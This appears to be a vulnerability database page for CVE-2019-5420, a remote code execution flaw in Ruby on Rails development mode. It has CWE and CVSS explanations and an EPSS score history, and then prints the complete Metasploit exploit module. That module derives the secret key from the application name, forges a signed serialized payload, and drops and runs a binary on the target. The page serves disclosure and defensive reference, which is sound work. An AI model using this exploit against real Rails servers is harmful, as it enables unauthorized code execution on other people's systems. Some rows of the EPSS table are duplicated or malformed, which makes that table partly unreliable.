CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
A remote code execution vulnerability in development mode Rails <5.2.2.1, <6.0.0.beta3 can allow an attacker to guess the automatically generated development mode secret token. This secret token can be used in combination with other Rails internals to escalate to a remote code execution exploit.
Improper Neutralization of Special Elements used in a Command ('Command Injection') The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
Use of Insufficiently Random Values The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.1
9.8
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
48.15%
–
–
–
–
2021-09-05
–
48.15%
–
–
–
2022-01-09
–
48.15%
–
–
–
2022-02-06
–
–
93.1%
–
–
2023-03-12
–
–
–
97.32%
–
2023-04-09
–
–
–
97.27%
–
2023-05-28
–
–
–
97.24%
–
2023-07-09
–
–
–
97.3%
–
2023-10-08
–
–
–
97.25%
–
2023-11-12
–
–
–
96.84%
–
2024-01-21
–
–
–
96.67%
–
2024-02-18
–
–
–
96.52%
–
2024-03-24
–
–
–
96.76%
–
2024-06-02
–
–
–
96.73%
–
2024-07-07
–
–
–
96.6%
–
2024-08-25
–
–
–
96.43%
–
2024-09-29
–
–
–
95.86%
–
2024-10-06
–
–
–
95.86%
–
2024-10-20
–
–
–
95.98%
–
2024-12-22
–
–
–
96.69%
–
2025-02-09
–
–
–
96.85%
–
2025-03-09
–
–
–
96.63%
–
2025-01-19
–
–
–
96.69%
–
2025-02-16
–
–
–
96.85%
–
2025-03-09
–
–
–
96.63%
–
2025-03-18
–
–
–
–
93.53%
2025-05-01
–
–
–
–
93.38%
2025-05-01
–
–
–
–
93.38,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability',
'Description' => %q{
This module exploits a vulnerability in Ruby on Rails. In development mode, a Rails
application would use its name as the secret_key_base, and can be easily extracted by
visiting an invalid resource for a path. As a result, this allows a remote user to
create and deliver a signed serialized payload, load it by the application, and gain
remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'ooooooo_q', # Reported the vuln on hackerone
'mpgn', # Proof-of-Concept
'sinn3r' # Metasploit module
],
'References' =>
[
[ 'CVE', '2019-5420' ],
[ 'URL', 'https://hackerone.com/reports/473888' ],
[ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ],
[ 'URL', 'https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2019-5420/rubyonrails-security/IsQKvDqZdKw/UYgRCJz2CgAJ' ]
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Ruby on Rails 5.2 and prior', { } ]
],
'DefaultOptions' =>
{
'RPORT' => 3000
},
'Notes' =>
{
'AKA' => [ 'doubletap' ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ]
},
'Privileged' => false,
'DisclosureDate' => 'Mar 13 2019',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),
])
end
NO_RAILS_ROOT_MSG = 'No Rails.root info'
# These mocked classes are borrowed from Rails 5. I had to do this because Metasploit
# still uses Rails 4, and we don't really know when we will be able to upgrade it.
class Messages
class Metadata
def initialize(message, expires_at = nil, purpose = nil)
@message, @expires_at, @purpose = message, expires_at, purpose
end
def as_json(options = {})
{ _rails: { message: @message, exp: @expires_at, pur: @purpose } }
end
def self.wrap(message, expires_at: nil, expires_in: nil, purpose: nil)
if expires_at || expires_in || purpose
ActiveSupport::JSON.encode new(encode(message), pick_expiry(expires_at, expires_in), purpose)
else
message
end
end
private
def self.pick_expiry(expires_at, expires_in)
if expires_at
expires_at.utc.iso8601(3)
elsif expires_in
Time.now.utc.advance(seconds: expires_in).iso8601(3)
end
end
def self.encode(message)
Rex::Text::encode_base64(message)
end
end
end
class MessageVerifier
def initialize(secret, options = {})
raise ArgumentError, 'Secret should not be nil.' unless secret
@secret = secret
@digest = options[:digest] || 'SHA1'
@serializer = options[:serializer] || Marshal
end
def generate(value, expires_at: nil, expires_in: nil, purpose: nil)
data = encode(Messages::Metadata.wrap(@serializer.dump(value), expires_at: expires_at, expires_in: expires_in, purpose: purpose))
"#{data}--#{generate_digest(data)}"
end
private
def generate_digest(data)
require "openssl" unless defined?(OpenSSL)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
end
def encode(message)
Rex::Text::encode_base64(message)
end
end
def check
check_code = CheckCode::Safe
app_name = get_application_name
check_code = CheckCode::Appears unless app_name.blank?
test_payload = %Q|puts 1|
rails_payload = generate_rails_payload(app_name, test_payload)
result = send_serialized_payload(rails_payload)
check_code = CheckCode::Vulnerable if result
check_code
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
return check_code if e.message.to_s.include? NO_RAILS_ROOT_MSG
CheckCode::Unknown
end
# Returns information about Rails.root if we retrieve an invalid path under rails.
def get_rails_root_info
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'rails', Rex::Text.rand_text_alphanumeric(32)),
})
fail_with(Failure::Unknown, 'No response from the server') unless res
html = res.get_html_document
rails_root_node = html.at('//code[contains(text(), "Rails.root:")]')
fail_with(Failure::NotVulnerable, NO_RAILS_ROOT_MSG) unless rails_root_node
root_info_value = rails_root_node.text.scan(/Rails.root: (.+)/).flatten.first
report_note(host: rhost, type: 'rails.root_info', data: root_info_value, update: :unique_data)
root_info_value
end
# Returns the application name based on Rails.root. It seems in development mode, the
# application name is used as a secret_key_base to encrypt/decrypt data.
def get_application_name
root_info = get_rails_root_info
root_info.split('/').last.capitalize
end
# Returns the stager code that writes the payload to disk so we can execute it.
def get_stager_code
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
register_file_for_cleanup(b64_fname, bin_fname)
p = Rex::Text.encode_base64(generate_payload_exe)
c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
c << "%x(chmod +x #{bin_fname}); "
c << "%x(#{bin_fname})"
c
end
# Returns the serialized payload that is embedded with our malicious payload.
def generate_rails_payload(app_name, ruby_payload)
secret_key_base = Digest::MD5.hexdigest("#{app_name}::Application")
keygen = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
secret = keygen.generate_key('ActiveStorage')
verifier = MessageVerifier.new(secret)
erb = ERB.allocate
erb.instance_variable_set :@src, ruby_payload
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
verifier.generate(dump_target, purpose: :blob_key)
end
# Sending the serialized payload
# If the payload fails, the server should return 404. If successful, then 200.
def send_serialized_payload(rails_payload)
res = send_request_cgi({
'method' => 'GET',
'uri' => "/rails/active_storage/disk/#{rails_payload}/test",
})
if res && res.code != 200
print_error("It doesn't look like the exploit worked. Server returned: #{res.code}.")
print_error('The expected response should be HTTP 200.')
# This indicates the server did not accept the payload
return false
end
# This is used to indicate the server accepted the payload
true
end
def exploit
print_status("Attempting to retrieve the application name...")
app_name = get_application_name
print_status("The application name is: #{app_name}")
stager = get_stager_code
print_status("Stager ready: #{stager.length} bytes")
rails_payload = generate_rails_payload(app_name, stager)
print_status("Sending serialized payload to target (#{rails_payload.length} bytes)")
send_serialized_payload(rails_payload)
end
end
Products Mentioned
Configuraton 0
Rubyonrails>>Rails >> Version To (excluding) 5.2.2.1